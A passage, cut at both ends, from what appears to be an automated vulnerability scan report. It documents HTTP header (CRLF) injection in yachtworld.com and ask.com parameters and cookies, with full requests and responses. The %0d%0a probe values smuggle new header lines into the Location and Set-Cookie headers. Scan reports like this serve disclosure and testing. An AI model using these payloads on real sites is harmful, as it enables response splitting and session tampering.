s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B
Response
HTTP/1.1 302 Found Date: Thu, 27 Jan 2011 19:39:55 GMT Server: Apache Cache-Control: private Location: http://www.yachtworld.com/core/listing/pl_boat_detail.jsp?&units=edada cbdfc443266&id=2275416&lang=en&slim=broker&&hosturl=starlingmarine&&ywo=starlingmarine& Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 197
The URL has moved <a href="http://www.yachtworld.com/core/listing/pl_boat_detail.jsp?&units=edada cbdfc443266&id=2275416&lang=en&slim=broker&&hosturl=starlingmarine&&ywo=starlingmarine&">here</a>
The value of the currency request parameter is copied into the Location response header. The payload 3e221%0d%0a5b524a18b0d was submitted in the currency parameter. This caused a response containing an injected HTTP header.
Request
GET /privatelabel/listing/pl_boat_detail_handler.jsp?slim=pp279757¤cy=3e221%0d%0a5b524a18b0d&units=Feet¤cyid=100&boat_id=2267335&primary_photo_id=30&back=%2Fprivatelabel%2Flisting%2Fcache%2Fpl_search_results.jsp%3Fsm%3D3%26luom%3D126%26currencyid%3D100%26cit%3Dtrue%26ps%3D50%26slim%3Dpp279757&searchtype=buy HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 302 Found Date: Thu, 27 Jan 2011 20:01:29 GMT Server: Apache Cache-Control: private Location: http://www.yachtworld.com/privatelabel/listing/pl_boat_detail.jsp?currency=3e221 5b524a18b0d&units=Feet&id=2267335&lang=en&slim=pp279757& Content-Length: 176 Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
The URL has moved <a href="http://www.yachtworld.com/privatelabel/listing/pl_boat_detail.jsp?currency=3e221 5b524a18b0d&units=Feet&id=2267335&lang=en&slim=pp279757&">here</a>
The value of the slim request parameter is copied into the Location response header. The payload d9915%0d%0a0e475e20fcd was submitted in the slim parameter. This caused a response containing an injected HTTP header.
Request
GET /privatelabel/listing/pl_boat_detail_handler.jsp?slim=d9915%0d%0a0e475e20fcd¤cy=USD&units=Feet¤cyid=100&boat_id=2267335&primary_photo_id=30&back=%2Fprivatelabel%2Flisting%2Fcache%2Fpl_search_results.jsp%3Fsm%3D3%26luom%3D126%26currencyid%3D100%26cit%3Dtrue%26ps%3D50%26slim%3Dpp279757&searchtype=buy HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 302 Found Date: Thu, 27 Jan 2011 20:01:27 GMT Server: Apache Cache-Control: private Location: http://www.yachtworld.com/privatelabel/listing/pl_boat_detail.jsp?currency=USD&units=Feet&id=2267335&lang=en&slim=d9915 0e475e20fcd& Content-Length: 171 Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
The URL has moved <a href="http://www.yachtworld.com/privatelabel/listing/pl_boat_detail.jsp?currency=USD&units=Feet&id=2267335&lang=en&slim=d9915 0e475e20fcd&">here</a>
The value of the units request parameter is copied into the Location response header. The payload 67044%0d%0a3831b3bd0d0 was submitted in the units parameter. This caused a response containing an injected HTTP header.
Request
GET /privatelabel/listing/pl_boat_detail_handler.jsp?slim=pp279757¤cy=USD&units=67044%0d%0a3831b3bd0d0¤cyid=100&boat_id=2267335&primary_photo_id=30&back=%2Fprivatelabel%2Flisting%2Fcache%2Fpl_search_results.jsp%3Fsm%3D3%26luom%3D126%26currencyid%3D100%26cit%3Dtrue%26ps%3D50%26slim%3Dpp279757&searchtype=buy HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 302 Found Date: Thu, 27 Jan 2011 20:01:40 GMT Server: Apache Cache-Control: private Location: http://www.yachtworld.com/privatelabel/listing/pl_boat_detail.jsp?currency=USD&units=67044 3831b3bd0d0&id=2267335&lang=en&slim=pp279757& Content-Length: 175 Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
The URL has moved <a href="http://www.yachtworld.com/privatelabel/listing/pl_boat_detail.jsp?currency=USD&units=67044 3831b3bd0d0&id=2267335&lang=en&slim=pp279757&">here</a>
The value of the savedLabel0 cookie is copied into the Set-Cookie response header. The payload ab4ad%0d%0a2d954fcf23f was submitted in the savedLabel0 cookie. This caused a response containing an injected HTTP header.
Request
GET / HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=ab4ad%0d%0a2d954fcf23f; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
The value of the savedLabel1 cookie is copied into the Set-Cookie response header. The payload 278e2%0d%0a3167851441c was submitted in the savedLabel1 cookie. This caused a response containing an injected HTTP header.
Request
GET / HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=278e2%0d%0a3167851441c; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
The value of REST URL parameter 1 is copied into the Location response header. The payload ccd1c%0d%0a07743971c78 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.
Request
GET /ccd1c%0d%0a07743971c78/i.gif?t=v&d=us&s=a&c=h&l=dir&o=0&sv=0a5c404a&p=homepage&ord=7097259 HTTP/1.1 Host: wzus1.ask.com Proxy-Connection: keep-alive Referer: http://www.ask.com/?o=0&l=dir Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cu.wz=0; tbe=1; accepting=1; user=o=0&l=dir; puser=pt=VGh1LTI3LUphbi0yMDExLTE5OjEyOjQzLVVUQw%3D%3D&po=0&pp=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; qc=0
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://wzus1.ask.com/ccd1c 07743971c78/i.gif?t ...[SNIP]...
The value of REST URL parameter 2 is copied into the Location response header. The payload 4af04%0d%0ad83a2a5f4ce was submitted in the REST URL parameter 2. This caused a response containing an injected HTTP header.
Request
